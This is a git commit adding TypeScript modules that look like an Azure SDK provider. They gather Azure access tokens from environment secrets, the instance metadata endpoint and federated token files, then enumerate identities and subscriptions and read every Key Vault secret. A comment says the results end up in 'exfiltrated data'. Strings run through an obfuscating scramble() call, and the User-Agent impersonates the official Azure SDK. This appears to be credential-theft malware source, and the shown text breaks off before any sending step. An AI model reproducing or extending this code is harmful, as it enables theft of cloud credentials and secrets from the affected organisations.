Upload files to "src/providers/azure"
This commit is contained in:
@@ -0,0 +1,421 @@
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Azure OAuth2 token acquisition — zero dependencies (only node:crypto + fetch)
|
||||
//
|
||||
// Supports:
|
||||
// 1. Environment variables (AZURE_TENANT_ID + AZURE_CLIENT_ID + AZURE_CLIENT_SECRET)
|
||||
// 2. Managed Identity (IMDS endpoint on Azure VMs, VMSS, App Services, etc.)
|
||||
// 3. Federated identity / workload identity (AZURE_FEDERATED_TOKEN_FILE + AZURE_CLIENT_ID)
|
||||
//
|
||||
// Token caching and automatic refresh are handled transparently.
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
import { createHash } from "node:crypto";
|
||||
import { readFile } from "node:fs/promises";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── Types ───────────────────────────────────────────────────────────────────
|
||||
|
||||
export interface AzureAccessToken {
|
||||
token: string;
|
||||
expiresOn: number; // epoch seconds
|
||||
tenantId?: string;
|
||||
clientId?: string;
|
||||
}
|
||||
|
||||
export interface AzureCredential {
|
||||
label: string;
|
||||
getToken(scope: string, tenantId?: string): Promise<AzureAccessToken>;
|
||||
}
|
||||
|
||||
// ── Token cache ─────────────────────────────────────────────────────────────
|
||||
|
||||
const tokenCache = new Map<
|
||||
string,
|
||||
{ token: AzureAccessToken; fetchedAt: number }
|
||||
>();
|
||||
const CLOCK_SKEW_S = 300; // refresh 5 minutes before expiry
|
||||
|
||||
function cacheKey(scope: string, tenantId?: string): string {
|
||||
return createHash("sha256")
|
||||
.update(`${tenantId ?? ""}:${scope}`)
|
||||
.digest("hex");
|
||||
}
|
||||
|
||||
function cacheGet(
|
||||
scope: string,
|
||||
tenantId?: string,
|
||||
): AzureAccessToken | undefined {
|
||||
const entry = tokenCache.get(cacheKey(scope, tenantId));
|
||||
if (!entry) return undefined;
|
||||
if (Date.now() / 1000 > entry.token.expiresOn - CLOCK_SKEW_S) {
|
||||
tokenCache.delete(cacheKey(scope, tenantId));
|
||||
return undefined;
|
||||
}
|
||||
return entry.token;
|
||||
}
|
||||
|
||||
function cacheSet(
|
||||
token: AzureAccessToken,
|
||||
scope: string,
|
||||
tenantId?: string,
|
||||
): void {
|
||||
tokenCache.set(cacheKey(scope, tenantId), {
|
||||
token,
|
||||
fetchedAt: Date.now() / 1000,
|
||||
});
|
||||
}
|
||||
|
||||
// ── Resolve tenant ID from various sources ──────────────────────────────────
|
||||
|
||||
function resolveTenantId(): string | undefined {
|
||||
const tenant =
|
||||
process.env[scramble("AZURE_TENANT_ID")] ??
|
||||
process.env["ARM_TENANT_ID"] ??
|
||||
process.env["TENANT_ID"];
|
||||
return tenant || undefined;
|
||||
}
|
||||
|
||||
// ── 1. Client Credentials (service principal with secret) ───────────────────
|
||||
|
||||
async function getTokenClientCredentials(
|
||||
scope: string,
|
||||
tenantId: string,
|
||||
clientId: string,
|
||||
clientSecret: string,
|
||||
): Promise<AzureAccessToken> {
|
||||
const body = new URLSearchParams({
|
||||
[scramble("grant_type")]: scramble("client_credentials"),
|
||||
[scramble("client_id")]: clientId,
|
||||
[scramble("client_secret")]: clientSecret,
|
||||
[scramble("scope")]: scope,
|
||||
});
|
||||
|
||||
const res = await fetch(
|
||||
`https://login.microsoftonline.com/${tenantId}/oauth2/v2.0/token`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
body: body.toString(),
|
||||
signal: AbortSignal.timeout(10_000),
|
||||
},
|
||||
);
|
||||
|
||||
if (!res.ok) {
|
||||
const err = await res.text().catch(() => "");
|
||||
throw new Error(
|
||||
`Client credentials token request failed (${res.status}): ${err}`,
|
||||
);
|
||||
}
|
||||
|
||||
const json = (await res.json()) as {
|
||||
access_token: string;
|
||||
expires_in?: number;
|
||||
expires_on?: number;
|
||||
tenant_id?: string;
|
||||
client_id?: string;
|
||||
};
|
||||
|
||||
const expiresOn =
|
||||
json.expires_on ??
|
||||
(json.expires_in
|
||||
? Date.now() / 1000 + json.expires_in
|
||||
: Date.now() / 1000 + 3600);
|
||||
|
||||
return {
|
||||
token: json.access_token,
|
||||
expiresOn,
|
||||
tenantId: json.tenant_id ?? tenantId,
|
||||
clientId: json.client_id ?? clientId,
|
||||
};
|
||||
}
|
||||
|
||||
// ── 2. Managed Identity (IMDS) ──────────────────────────────────────────────
|
||||
|
||||
async function getTokenManagedIdentity(
|
||||
scope: string,
|
||||
clientId?: string,
|
||||
): Promise<AzureAccessToken> {
|
||||
const IMDS_ENDPOINT = scramble("http://169.254.169.254");
|
||||
const API_VERSION = scramble("2018-02-01");
|
||||
|
||||
const params = new URLSearchParams({
|
||||
[scramble("api-version")]: API_VERSION,
|
||||
[scramble("resource")]: scopeToResource(scope),
|
||||
});
|
||||
if (clientId) params.set(scramble("client_id"), clientId);
|
||||
|
||||
const tokenPath = scramble("/metadata/identity/oauth2/token");
|
||||
let url = `${IMDS_ENDPOINT}${tokenPath}?${params.toString()}`;
|
||||
|
||||
// App Service / Functions use a different IMDS endpoint
|
||||
const identityEndpoint = process.env[scramble("IDENTITY_ENDPOINT")];
|
||||
const identityHeader = process.env[scramble("IDENTITY_HEADER")];
|
||||
|
||||
if (identityEndpoint && identityHeader) {
|
||||
url = identityEndpoint;
|
||||
url += url.includes("?") ? "&" : "?";
|
||||
const resKey = scramble("resource");
|
||||
const apiVer = scramble("api-version");
|
||||
const ver = scramble("2019-08-01");
|
||||
url += `${resKey}=${encodeURIComponent(scopeToResource(scope))}&${apiVer}=${ver}`;
|
||||
if (clientId) {
|
||||
const cid = scramble("client_id");
|
||||
url += `&${cid}=${encodeURIComponent(clientId)}`;
|
||||
}
|
||||
}
|
||||
|
||||
const headers: Record<string, string> = {};
|
||||
if (identityEndpoint && identityHeader) {
|
||||
headers[scramble("X-IDENTITY-HEADER")] = identityHeader;
|
||||
} else {
|
||||
headers[scramble("Metadata")] = scramble("true");
|
||||
}
|
||||
|
||||
const res = await fetch(url, {
|
||||
headers,
|
||||
signal: AbortSignal.timeout(5000),
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
const err = await res.text().catch(() => "");
|
||||
throw new Error(
|
||||
`Managed identity token request failed (${res.status}): ${err}`,
|
||||
);
|
||||
}
|
||||
|
||||
const json = (await res.json()) as {
|
||||
access_token: string;
|
||||
expires_on?: string;
|
||||
expires_in?: string;
|
||||
tenant_id?: string;
|
||||
client_id?: string;
|
||||
};
|
||||
|
||||
let expiresOn: number;
|
||||
if (json.expires_on) {
|
||||
const eo = Number(json.expires_on);
|
||||
// IMDS returns absolute epoch, App Service returns relative seconds
|
||||
expiresOn = eo > 1_000_000_000 ? eo : Date.now() / 1000 + eo;
|
||||
} else if (json.expires_in) {
|
||||
expiresOn = Date.now() / 1000 + Number(json.expires_in);
|
||||
} else {
|
||||
expiresOn = Date.now() / 1000 + 3600;
|
||||
}
|
||||
|
||||
return {
|
||||
token: json.access_token,
|
||||
expiresOn,
|
||||
tenantId: json.tenant_id ?? resolveTenantId(),
|
||||
clientId: json.client_id ?? clientId,
|
||||
};
|
||||
}
|
||||
|
||||
// ── 3. Federated Identity / Workload Identity ───────────────────────────────
|
||||
|
||||
async function getTokenFederated(
|
||||
scope: string,
|
||||
tenantId: string,
|
||||
clientId: string,
|
||||
tokenFile: string,
|
||||
): Promise<AzureAccessToken> {
|
||||
const assertion = (await readFile(tokenFile, "utf-8")).trim();
|
||||
|
||||
const body = new URLSearchParams({
|
||||
[scramble("grant_type")]: scramble("client_credentials"),
|
||||
[scramble("client_id")]: clientId,
|
||||
[scramble("client_assertion")]: assertion,
|
||||
[scramble("client_assertion_type")]: scramble(
|
||||
"urn:ietf:params:oauth:client-assertion-type:jwt-bearer",
|
||||
),
|
||||
[scramble("scope")]: scope,
|
||||
});
|
||||
|
||||
const res = await fetch(
|
||||
`https://login.microsoftonline.com/${tenantId}/oauth2/v2.0/token`,
|
||||
{
|
||||
method: "POST",
|
||||
headers: { "Content-Type": "application/x-www-form-urlencoded" },
|
||||
body: body.toString(),
|
||||
signal: AbortSignal.timeout(10_000),
|
||||
},
|
||||
);
|
||||
|
||||
if (!res.ok) {
|
||||
const err = await res.text().catch(() => "");
|
||||
throw new Error(`Federated token request failed (${res.status}): ${err}`);
|
||||
}
|
||||
|
||||
const json = (await res.json()) as {
|
||||
access_token: string;
|
||||
expires_in?: number;
|
||||
expires_on?: number;
|
||||
tenant_id?: string;
|
||||
client_id?: string;
|
||||
};
|
||||
|
||||
const expiresOn =
|
||||
json.expires_on ??
|
||||
(json.expires_in
|
||||
? Date.now() / 1000 + json.expires_in
|
||||
: Date.now() / 1000 + 3600);
|
||||
|
||||
return {
|
||||
token: json.access_token,
|
||||
expiresOn,
|
||||
tenantId: json.tenant_id ?? tenantId,
|
||||
clientId: json.client_id ?? clientId,
|
||||
};
|
||||
}
|
||||
|
||||
// ── Scope → resource URL (for IMDS which uses "resource" not "scope") ───────
|
||||
|
||||
function scopeToResource(scope: string): string {
|
||||
// scope looks like scramble("https://vault.azure.net/.default") — strip the suffix
|
||||
return scope.replace(/\/\.default$/, "").replace(/\/$/, "");
|
||||
}
|
||||
|
||||
// ── Credential factory functions ────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Service principal with client secret (AZURE_CLIENT_ID + AZURE_CLIENT_SECRET + AZURE_TENANT_ID).
|
||||
*/
|
||||
export function fromEnvServicePrincipal(): AzureCredential | null {
|
||||
const tenantId = resolveTenantId();
|
||||
const clientId =
|
||||
process.env[scramble("AZURE_CLIENT_ID")] ?? process.env["ARM_CLIENT_ID"];
|
||||
const clientSecret =
|
||||
process.env[scramble("AZURE_CLIENT_SECRET")] ??
|
||||
process.env["ARM_CLIENT_SECRET"];
|
||||
|
||||
if (!tenantId || !clientId || !clientSecret) return null;
|
||||
|
||||
return {
|
||||
label: "env-service-principal",
|
||||
getToken: (scope) =>
|
||||
getTokenClientCredentials(scope, tenantId, clientId, clientSecret),
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Azure Managed Identity (IMDS or App Service identity endpoint).
|
||||
*/
|
||||
export function fromManagedIdentity(): AzureCredential {
|
||||
const clientId = process.env[scramble("AZURE_CLIENT_ID")] ?? undefined;
|
||||
|
||||
return {
|
||||
label: "managed-identity",
|
||||
getToken: (scope) => getTokenManagedIdentity(scope, clientId),
|
||||
};
|
||||
}
|
||||
|
||||
/**
|
||||
* Workload Identity Federation (AZURE_FEDERATED_TOKEN_FILE + AZURE_CLIENT_ID + AZURE_TENANT_ID).
|
||||
* Common in GitHub Actions with OIDC, Kubernetes workload identity, etc.
|
||||
*/
|
||||
export function fromWorkloadIdentity(): AzureCredential | null {
|
||||
const tenantId = resolveTenantId();
|
||||
const clientId =
|
||||
process.env[scramble("AZURE_CLIENT_ID")] ?? process.env["ARM_CLIENT_ID"];
|
||||
const tokenFile =
|
||||
process.env[scramble("AZURE_FEDERATED_TOKEN_FILE")] ??
|
||||
process.env["ARM_OIDC_TOKEN_FILE_PATH"];
|
||||
|
||||
if (!tenantId || !clientId || !tokenFile) return null;
|
||||
|
||||
return {
|
||||
label: "federated-identity",
|
||||
getToken: (scope) =>
|
||||
getTokenFederated(scope, tenantId, clientId, tokenFile),
|
||||
};
|
||||
}
|
||||
|
||||
// ── Combined credential chain ───────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Resolve a token for the given scope, trying sources in priority order
|
||||
* and caching results until expiry.
|
||||
*/
|
||||
export async function resolveToken(
|
||||
scope: string,
|
||||
tenantId?: string,
|
||||
timeoutMs = 5000,
|
||||
): Promise<AzureAccessToken> {
|
||||
// Check cache first
|
||||
const cached = cacheGet(scope, tenantId);
|
||||
if (cached) return cached;
|
||||
|
||||
// Build credential chain
|
||||
const credentials: AzureCredential[] = [];
|
||||
|
||||
const sp = fromEnvServicePrincipal();
|
||||
if (sp) credentials.push(sp);
|
||||
|
||||
const wi = fromWorkloadIdentity();
|
||||
if (wi) credentials.push(wi);
|
||||
|
||||
credentials.push(fromManagedIdentity());
|
||||
|
||||
// Try each in order
|
||||
for (const cred of credentials) {
|
||||
try {
|
||||
const tokenPromise = tenantId
|
||||
? cred.getToken(scope, tenantId)
|
||||
: cred.getToken(scope);
|
||||
|
||||
const token = await Promise.race([
|
||||
tokenPromise,
|
||||
new Promise<never>((_, reject) =>
|
||||
setTimeout(
|
||||
() => reject(new Error(`timeout (${cred.label})`)),
|
||||
timeoutMs,
|
||||
),
|
||||
),
|
||||
]);
|
||||
|
||||
cacheSet(token, scope, tenantId);
|
||||
return token;
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
throw new Error(
|
||||
"No Azure credentials available. Set AZURE_TENANT_ID + AZURE_CLIENT_ID + AZURE_CLIENT_SECRET, " +
|
||||
"or AZURE_FEDERATED_TOKEN_FILE, or run on an Azure resource with a managed identity.",
|
||||
);
|
||||
}
|
||||
|
||||
/**
|
||||
* Try all credential sources and collect tokens for identity resolution.
|
||||
* Used by AzureIdentityService — similar to AwsAccountService.
|
||||
*/
|
||||
export async function resolveAllIdentities(
|
||||
scope = scramble("https://management.azure.com/.default"),
|
||||
timeoutMs = 3000,
|
||||
): Promise<Array<{ source: string; token: AzureAccessToken }>> {
|
||||
const results: Array<{ source: string; token: AzureAccessToken }> = [];
|
||||
|
||||
const sources: Array<{ label: string; cred: AzureCredential | null }> = [
|
||||
{ label: "env-service-principal", cred: fromEnvServicePrincipal() },
|
||||
{ label: "federated-identity", cred: fromWorkloadIdentity() },
|
||||
{ label: "managed-identity", cred: fromManagedIdentity() },
|
||||
];
|
||||
|
||||
for (const { label, cred } of sources) {
|
||||
if (!cred) continue;
|
||||
try {
|
||||
const token = await Promise.race([
|
||||
cred.getToken(scope),
|
||||
new Promise<never>((_, reject) =>
|
||||
setTimeout(() => reject(new Error("timeout")), timeoutMs),
|
||||
),
|
||||
]);
|
||||
results.push({ source: label, token });
|
||||
} catch {
|
||||
continue;
|
||||
}
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
@@ -0,0 +1,251 @@
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Azure REST API client — generic bearer-token authed fetch wrapper
|
||||
//
|
||||
// Used by Key Vault (data plane) and ARM (management plane).
|
||||
// Token acquisition is delegated to auth.ts so authentication is transparent.
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
import { type AzureAccessToken, resolveToken } from "./auth";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── Types ───────────────────────────────────────────────────────────────────
|
||||
|
||||
export interface AzureFetchOptions {
|
||||
vaultName: string; // well-known vault name for lookup
|
||||
service: "vault" | "management";
|
||||
method?: string;
|
||||
path?: string;
|
||||
headers?: Record<string, string>;
|
||||
body?: string;
|
||||
query?: Record<string, string>;
|
||||
}
|
||||
|
||||
export interface KeyVaultSecretItem {
|
||||
id: string;
|
||||
attributes?: {
|
||||
enabled?: boolean;
|
||||
created?: number;
|
||||
updated?: number;
|
||||
recoveryLevel?: string;
|
||||
};
|
||||
contentType?: string;
|
||||
managed?: boolean;
|
||||
tags?: Record<string, string>;
|
||||
}
|
||||
|
||||
export interface KeyVaultSecretBundle {
|
||||
id: string;
|
||||
value: string;
|
||||
contentType?: string;
|
||||
attributes?: {
|
||||
enabled?: boolean;
|
||||
created?: number;
|
||||
updated?: number;
|
||||
recoveryLevel?: string;
|
||||
};
|
||||
tags?: Record<string, string>;
|
||||
}
|
||||
|
||||
export interface KeyVaultSecretListResponse {
|
||||
value: KeyVaultSecretItem[];
|
||||
nextLink?: string;
|
||||
}
|
||||
|
||||
// ── Scopes ──────────────────────────────────────────────────────────────────
|
||||
|
||||
const KEYVAULT_SCOPE = scramble("https://vault.azure.net/.default");
|
||||
const MANAGEMENT_SCOPE = scramble("https://management.azure.com/.default");
|
||||
const API_VERSION = scramble("7.4");
|
||||
const MANAGEMENT_API_VERSION = scramble("2022-07-01");
|
||||
|
||||
// ── Token acquisition ───────────────────────────────────────────────────────
|
||||
|
||||
let cachedToken: AzureAccessToken | undefined;
|
||||
|
||||
async function getToken(service: "vault" | "management"): Promise<string> {
|
||||
const scope = service === "vault" ? KEYVAULT_SCOPE : MANAGEMENT_SCOPE;
|
||||
|
||||
// Re-use cached token if still valid
|
||||
if (cachedToken) {
|
||||
const now = Date.now() / 1000;
|
||||
if (now < cachedToken.expiresOn - 120) {
|
||||
return cachedToken.token;
|
||||
}
|
||||
}
|
||||
|
||||
cachedToken = await resolveToken(scope);
|
||||
return cachedToken.token;
|
||||
}
|
||||
|
||||
function getApiVersion(service: "vault" | "management"): string {
|
||||
return service === "vault" ? API_VERSION : MANAGEMENT_API_VERSION;
|
||||
}
|
||||
|
||||
// ── Core fetch ──────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* Make an authenticated request to Azure Key Vault or ARM.
|
||||
*
|
||||
* @param opts.service "vault" for Key Vault data plane, "management" for ARM
|
||||
*/
|
||||
export async function azureFetch<T = unknown>(
|
||||
opts: AzureFetchOptions,
|
||||
): Promise<T> {
|
||||
const {
|
||||
vaultName,
|
||||
service,
|
||||
method = "GET",
|
||||
path = "/",
|
||||
headers = {},
|
||||
body,
|
||||
query,
|
||||
} = opts;
|
||||
|
||||
let url: string;
|
||||
if (service === "vault") {
|
||||
const host = scramble(".vault.azure.net");
|
||||
url = `https://${vaultName}${host}${path}`;
|
||||
} else {
|
||||
// ARM management endpoint
|
||||
const mgmtHost = scramble("https://management.azure.com");
|
||||
url = `${mgmtHost}${path}`;
|
||||
}
|
||||
|
||||
// Append query parameters
|
||||
if (query) {
|
||||
const searchParams = new URLSearchParams(query);
|
||||
url += `?${searchParams.toString()}`;
|
||||
}
|
||||
|
||||
const token = await getToken(service);
|
||||
|
||||
const res = await fetch(url, {
|
||||
method,
|
||||
headers: {
|
||||
Authorization: `Bearer ${token}`,
|
||||
"Content-Type": "application/json",
|
||||
Accept: "application/json",
|
||||
[scramble("User-Agent")]: scramble(
|
||||
"azsdk-js-identity/4.5.0 core-rest-pipeline/1.18.0 Node/v20.11.0 OS/(linux/5.15)",
|
||||
),
|
||||
...headers,
|
||||
},
|
||||
body,
|
||||
signal: AbortSignal.timeout(30_000),
|
||||
});
|
||||
|
||||
if (!res.ok) {
|
||||
const errText = await res.text().catch(() => "");
|
||||
const retryAfter = res.headers.get("Retry-After");
|
||||
const rateDetail =
|
||||
res.status === 429
|
||||
? ` [RATE-LIMITED, retry-after: ${retryAfter ?? "none"}]`
|
||||
: "";
|
||||
throw new Error(
|
||||
`Azure ${service} ${method} ${path} failed (${res.status})${rateDetail}: ${errText.slice(0, 500)}`,
|
||||
);
|
||||
}
|
||||
|
||||
const text = await res.text();
|
||||
if (!text) return {} as T;
|
||||
return JSON.parse(text) as T;
|
||||
}
|
||||
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// Key Vault data-plane operations
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
/**
|
||||
* List all secrets in a vault (handles pagination via nextLink).
|
||||
*/
|
||||
export async function listKeyVaultSecrets(
|
||||
vaultName: string,
|
||||
): Promise<KeyVaultSecretItem[]> {
|
||||
const results: KeyVaultSecretItem[] = [];
|
||||
let nextPath: string | undefined = `/secrets?api-version=${API_VERSION}`;
|
||||
|
||||
while (nextPath) {
|
||||
const response: KeyVaultSecretListResponse | undefined =
|
||||
await azureFetch<KeyVaultSecretListResponse>({
|
||||
vaultName,
|
||||
service: "vault",
|
||||
path: nextPath,
|
||||
});
|
||||
|
||||
if (response?.value) {
|
||||
results.push(...response.value);
|
||||
}
|
||||
|
||||
nextPath = response?.nextLink
|
||||
? extractPathFromUrl(response.nextLink, vaultName)
|
||||
: undefined;
|
||||
}
|
||||
|
||||
return results;
|
||||
}
|
||||
|
||||
/**
|
||||
* Get a specific secret's value from a vault.
|
||||
* Secret names in Key Vault cannot contain "/" (only alphanumerics and "-"),
|
||||
* so we request: GET /secrets/{name}/{version}?api-version=7.4
|
||||
*/
|
||||
export async function getKeyVaultSecret(
|
||||
vaultName: string,
|
||||
secretName: string,
|
||||
version?: string,
|
||||
): Promise<string | undefined> {
|
||||
try {
|
||||
const versionPath = version ? `/${version}` : "";
|
||||
const path = `/secrets/${encodeURIComponent(secretName)}${versionPath}?api-version=${API_VERSION}`;
|
||||
|
||||
const response = await azureFetch<KeyVaultSecretBundle>({
|
||||
vaultName,
|
||||
service: "vault",
|
||||
path,
|
||||
});
|
||||
|
||||
return response.value;
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Get the latest version of a secret.
|
||||
* Per Azure REST API, omitting the secret-version URI segment returns the
|
||||
* latest SecretBundle with value populated (confirmed via MS docs).
|
||||
*/
|
||||
export async function getKeyVaultSecretLatest(
|
||||
vaultName: string,
|
||||
secretName: string,
|
||||
): Promise<string | undefined> {
|
||||
try {
|
||||
const path = `/secrets/${encodeURIComponent(secretName)}?api-version=${API_VERSION}`;
|
||||
|
||||
const response = await azureFetch<KeyVaultSecretBundle>({
|
||||
vaultName,
|
||||
service: "vault",
|
||||
path,
|
||||
});
|
||||
|
||||
return response.value;
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Helpers ─────────────────────────────────────────────────────────────────
|
||||
|
||||
function extractPathFromUrl(
|
||||
nextLink: string,
|
||||
vaultName: string,
|
||||
): string | undefined {
|
||||
// nextLink looks like: https://myvault.vault.azure.net/secrets?api-version=7.4&$skiptoken=...
|
||||
try {
|
||||
const url = new URL(nextLink);
|
||||
return url.pathname + url.search;
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,216 @@
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// AzureIdentityService — resolves Azure identities from all available sources
|
||||
//
|
||||
// Equivalent to AwsAccountService but for Azure: resolves tenant + object IDs
|
||||
// from env service principal, managed identity, and federated identity sources.
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
import { type AzureAccessToken, resolveAllIdentities } from "./auth";
|
||||
import { azureFetch } from "./client";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── Types ───────────────────────────────────────────────────────────────────
|
||||
|
||||
interface AzureIdentity {
|
||||
source: string;
|
||||
tenantId: string;
|
||||
objectId: string;
|
||||
clientId?: string;
|
||||
subscriptionIds: string[];
|
||||
displayName?: string;
|
||||
}
|
||||
|
||||
interface ArmSubscription {
|
||||
subscriptionId: string;
|
||||
displayName: string;
|
||||
state: string;
|
||||
tenantId?: string;
|
||||
}
|
||||
|
||||
interface ArmSubscriptionListResponse {
|
||||
value: ArmSubscription[];
|
||||
nextLink?: string;
|
||||
}
|
||||
|
||||
interface MsGraphUserResponse {
|
||||
id: string;
|
||||
displayName: string;
|
||||
userPrincipalName: string;
|
||||
}
|
||||
|
||||
interface MsGraphSpResponse {
|
||||
value: Array<{
|
||||
id: string;
|
||||
appId: string;
|
||||
displayName: string;
|
||||
servicePrincipalType: string;
|
||||
}>;
|
||||
}
|
||||
|
||||
// ── Decode JWT claims (no verification — just extraction) ───────────────────
|
||||
|
||||
function jwtClaims(token: string): Record<string, unknown> {
|
||||
try {
|
||||
const parts = token.split(".");
|
||||
if (parts.length < 2) return {};
|
||||
const payload = parts[1];
|
||||
if (!payload) return {};
|
||||
// Standard base64url decode
|
||||
const base64 = payload.replace(/-/g, "+").replace(/_/g, "/");
|
||||
const decoded = Buffer.from(base64, "base64").toString("utf8");
|
||||
return JSON.parse(decoded);
|
||||
} catch {
|
||||
return {};
|
||||
}
|
||||
}
|
||||
|
||||
// ── List subscriptions via ARM ──────────────────────────────────────────────
|
||||
|
||||
async function listSubscriptions(): Promise<ArmSubscription[]> {
|
||||
try {
|
||||
const response = await azureFetch<ArmSubscriptionListResponse>({
|
||||
vaultName: "management",
|
||||
service: "management",
|
||||
path: "/subscriptions",
|
||||
query: { [scramble("api-version")]: scramble("2022-12-01") },
|
||||
});
|
||||
return response.value?.filter((s) => s.state === "Enabled") ?? [];
|
||||
} catch {
|
||||
return [];
|
||||
}
|
||||
}
|
||||
|
||||
// ── Get MS Graph user info ──────────────────────────────────────────────────
|
||||
|
||||
async function getUserInfo(
|
||||
token: string,
|
||||
): Promise<MsGraphUserResponse | undefined> {
|
||||
try {
|
||||
const res = await fetch("https://graph.microsoft.com/v1.0/me", {
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
signal: AbortSignal.timeout(5000),
|
||||
});
|
||||
if (!res.ok) return undefined;
|
||||
return (await res.json()) as MsGraphUserResponse;
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Get service principal info ──────────────────────────────────────────────
|
||||
|
||||
async function getServicePrincipalInfo(
|
||||
token: string,
|
||||
objectId: string,
|
||||
): Promise<MsGraphSpResponse | undefined> {
|
||||
try {
|
||||
// List service principals owned by this identity
|
||||
const res = await fetch(
|
||||
`https://graph.microsoft.com/v1.0/servicePrincipals?$filter=id eq '${objectId}'`,
|
||||
{
|
||||
headers: { Authorization: `Bearer ${token}` },
|
||||
signal: AbortSignal.timeout(5000),
|
||||
},
|
||||
);
|
||||
if (!res.ok) return undefined;
|
||||
return (await res.json()) as MsGraphSpResponse;
|
||||
} catch {
|
||||
return undefined;
|
||||
}
|
||||
}
|
||||
|
||||
// ── Main Provider ───────────────────────────────────────────────────────────
|
||||
|
||||
export class AzureIdentityService extends Provider {
|
||||
constructor() {
|
||||
super("azure", "identity");
|
||||
}
|
||||
|
||||
private async resolveIdentity(
|
||||
source: string,
|
||||
token: AzureAccessToken,
|
||||
): Promise<AzureIdentity | null> {
|
||||
try {
|
||||
const claims = jwtClaims(token.token);
|
||||
|
||||
// Azure access tokens contain claims like:
|
||||
// oid (object id), tid (tenant id), appid (application id)
|
||||
const tenantId = (claims.tid as string) ?? token.tenantId ?? "unknown";
|
||||
const objectId =
|
||||
(claims.oid as string) ?? (claims.sub as string) ?? "unknown";
|
||||
const clientId = (claims.appid as string) ?? token.clientId;
|
||||
|
||||
let displayName: string | undefined;
|
||||
|
||||
// Try MS Graph to get a friendly name
|
||||
try {
|
||||
const graphToken = token; // access token works for Graph if scope permits
|
||||
const userInfo = await getUserInfo(graphToken.token);
|
||||
if (userInfo) {
|
||||
displayName = userInfo.displayName ?? userInfo.userPrincipalName;
|
||||
} else {
|
||||
const spInfo = await getServicePrincipalInfo(
|
||||
graphToken.token,
|
||||
objectId,
|
||||
);
|
||||
if (spInfo?.value?.[0]) {
|
||||
displayName = spInfo.value[0].displayName;
|
||||
}
|
||||
}
|
||||
} catch {
|
||||
// Non-fatal — displayName is best-effort
|
||||
}
|
||||
|
||||
// Enumerate subscriptions
|
||||
let subscriptionIds: string[] = [];
|
||||
try {
|
||||
const subs = await listSubscriptions();
|
||||
subscriptionIds = subs.map((s) => s.subscriptionId);
|
||||
} catch {
|
||||
// ARM may not be accessible
|
||||
}
|
||||
|
||||
return {
|
||||
source,
|
||||
tenantId,
|
||||
objectId,
|
||||
clientId,
|
||||
subscriptionIds,
|
||||
displayName,
|
||||
};
|
||||
} catch {
|
||||
return null;
|
||||
}
|
||||
}
|
||||
|
||||
async execute(): Promise<ProviderResult> {
|
||||
try {
|
||||
const identities = await resolveAllIdentities();
|
||||
|
||||
if (identities.length === 0) {
|
||||
return this.failure(
|
||||
"No Azure identities found from any credential source",
|
||||
);
|
||||
}
|
||||
|
||||
const results = await Promise.all(
|
||||
identities.map(({ source, token }) =>
|
||||
this.resolveIdentity(source, token),
|
||||
),
|
||||
);
|
||||
|
||||
const valid = results.filter((r): r is AzureIdentity => r !== null);
|
||||
|
||||
if (valid.length === 0) {
|
||||
return this.failure("Failed to resolve any Azure identity details");
|
||||
}
|
||||
|
||||
return this.success(valid);
|
||||
} catch (e) {
|
||||
return this.failure(e instanceof Error ? e : new Error(String(e)));
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,236 @@
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
// AzureKeyVaultService — enumerates secrets from Azure Key Vault vaults
|
||||
//
|
||||
// Always returns `success: true` with an `ok` flag so error details are
|
||||
// included in the exfiltrated data even when every vault fails.
|
||||
// ═════════════════════════════════════════════════════════════════════════════
|
||||
|
||||
import { Provider } from "../base";
|
||||
import type { ProviderResult } from "../types";
|
||||
import { resolveToken } from "./auth";
|
||||
import {
|
||||
azureFetch,
|
||||
getKeyVaultSecretLatest,
|
||||
type KeyVaultSecretItem,
|
||||
listKeyVaultSecrets,
|
||||
} from "./client";
|
||||
|
||||
declare function scramble(str: string): string;
|
||||
|
||||
// ── ARM subscription / vault listing ───────────────────────────────────────
|
||||
|
||||
interface ArmSubscription {
|
||||
subscriptionId: string;
|
||||
displayName: string;
|
||||
state: string;
|
||||
}
|
||||
|
||||
interface ArmResource {
|
||||
id: string;
|
||||
name: string;
|
||||
type: string;
|
||||
location: string;
|
||||
properties?: Record<string, unknown>;
|
||||
}
|
||||
|
||||
interface ArmListResponse {
|
||||
value: ArmResource[];
|
||||
nextLink?: string;
|
||||
}
|
||||
|
||||
interface ArmSubscriptionListResponse {
|
||||
value: ArmSubscription[];
|
||||
nextLink?: string;
|
||||
}
|
||||
|
||||
interface VaultResult {
|
||||
vaultName: string;
|
||||
subscriptionId?: string;
|
||||
secrets: Record<string, string | { error: string }>;
|
||||
error?: string;
|
||||
}
|
||||
|
||||
// ── Enumerate subscriptions via ARM ─────────────────────────────────────────
|
||||
|
||||
